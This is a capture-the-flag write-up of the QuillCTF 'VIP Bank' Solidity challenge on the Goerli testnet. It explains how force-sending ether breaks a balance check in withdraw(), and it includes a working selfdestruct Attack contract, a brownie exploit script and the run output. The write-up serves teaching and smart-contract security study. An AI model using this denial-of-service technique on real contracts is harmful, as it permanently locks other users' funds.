Skip to main content

QuillCTF - Vip Bank

· 4 min read
Kaan Caglan

VIP Bank is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. VIPBank.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

At any cost, lock the VIP user balance forever into the contract.

We have to DOS withdraw function to block any other user to withdraw their balances from the contract.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

contract VIP_Bank{

address public manager;
mapping(address => uint) public balances;
mapping(address => bool) public VIP;
uint public maxETH = 0.5 ether;

constructor() {
manager = msg.sender;
}

modifier onlyManager() {
require(msg.sender == manager , "you are not manager");
_;
}

modifier onlyVIP() {
require(VIP[msg.sender] == true, "you are not our VIP customer");
_;
}

function addVIP(address addr) public onlyManager {
VIP[addr] = true;
}

function deposit() public payable onlyVIP {
require(msg.value <= 0.05 ether, "Cannot deposit more than 0.05 ETH per transaction");
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public onlyVIP {
require(address(this).balance <= maxETH, "Cannot withdraw more than 0.5 ETH per transaction");
require(balances[msg.sender] >= _amount, "Not enough ether");
balances[msg.sender] -= _amount;
(bool success,) = payable(msg.sender).call{value: _amount}("");
require(success, "Withdraw Failed!");
}

function contractBalance() public view returns (uint){
return address(this).balance;
}

}

At first look it can be seen that as an attacker we can only run contractBalance function, all of other functions require some kind of privileges like onlyVIP or onlyManager.

This is a very basic contract that vip users can deposit ethers and then withdraw their already deposited ethers. There is nothing fancy in deposit function, it basically gets Ethereum from msg.sender and increases the balance of msg.sender. Only requirement is the user can not deposit more than 0.05 ETH in one transaction. However, on the withdraw function it can be seen that there is a require statement which is required that balance of the contract should be less than or equal to maxETH which is 0.5 ETH. So if there is more than 0.5 ETH in the contract, no one will be able to withdraw their Ethereums because that require statement will fail every time. Since there is no any payable function for non-vip user, we can create our own smart contract and self-destruct it to deposit some Ethereum to the contract. selfdestruct sends all remaining Ether stored in the contract to a designated address.

selfdestruct information

POC

First, we need a smart contract with selfdestruct feature in it.

pragma solidity ^0.8.0;

contract Attack {
address immutable vip_bank;
constructor(address _vip_bank) {
vip_bank = _vip_bank;
}

function attack() public payable {
address payable addr = payable(address(vip_bank));
selfdestruct(addr);
}
}

Now we can deploy our own contract and use it to increase contracts balance to make in unavailable.

#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = VIP_Bank.at('0x28e42e7c4bda7c0381da503240f2e54c70226be2')
console.green("Imported attacker account successfuly.")
console.green("Balance of the contract is: "+ str(contr.contractBalance()))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})

console.yellow("Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})")
attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})

console.green("Balance of the contract after attack is: "+ str(contr.contractBalance()))


You just have to add your goerli account private key into .env file

export DEFAULT_ATTACKER_PRIVATE_KEY=xyz

And the output is

>>> run('poc', 'exploit')

Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
+ Balance of the contract is: 0
Creating attack contract
Transaction sent: 0xf83727dafdd2a999e19c2e84ff4f34d8a2bee2bea97845ac8aa0320a4852860a
Gas price: 6.0 gwei Gas limit: 94025 Nonce: 56
Attack.constructor confirmed Block: 8180668 Gas used: 85478 (90.91%)
Attack deployed at: 0x87b98A3274609723936F4ED019dFd4C90aaa670d

- Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})
Transaction sent: 0xf4f26bc1cd14cd8f954d5cf4bcdbac4587bad826df7d4c212814ed602f27a535
Gas price: 6.0 gwei Gas limit: 31654 Nonce: 57
Attack.attack confirmed Block: 8180670 Gas used: 28777 (90.91%)

+Balance of the contract after attack is: 510000000000000000

Etherscan request of attack can be found here.